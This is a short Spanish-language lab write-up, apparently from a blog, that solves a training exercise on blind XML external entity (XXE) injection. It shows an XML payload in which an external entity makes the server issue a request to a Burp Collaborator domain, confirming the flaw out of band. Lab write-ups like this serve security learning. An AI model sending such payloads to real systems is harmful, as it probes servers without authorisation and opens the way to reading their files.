Descripción

This lab has a «Check stock» feature that parses XML input but does not display the result.

You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.

To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

Blind XXE with out-of-band interaction writeup

Al entrar vemos una tienda online. Entramos en un producto con ‘View details’ y capturamos la petición con el ‘Logger’ de Burp Suite:

Iremos primero al ‘Collaborator’ de Burp Suite y pulsaremos en ‘Copy to clipboard’. Guardaremos el valor de la IP, en mi caso ‘8luvpj3d0hcperzw1x9aehercii96zuo.oastify.com’.

Ahora, en el ‘Repeater’, introduciremos el siguiente código:

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://8luvpj3d0hcperzw1x9aehercii96zuo.oastify.com"> ]>
 <stockCheck>
 <productId>&xxe;</productId>
 <storeId>1</storeId>
</stockCheck>

Creando una entidad llamada ‘xxe’ que acceda a la IP del ‘Collaborator’. Al hacer la petición el servidor, recibiremos el código HTTP 400, pero habremos recibido la petición en el ‘Collaborator’:

Nota: Si no aparece automáticamente, hay que pulsar ‘Poll now’.

Completando así el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *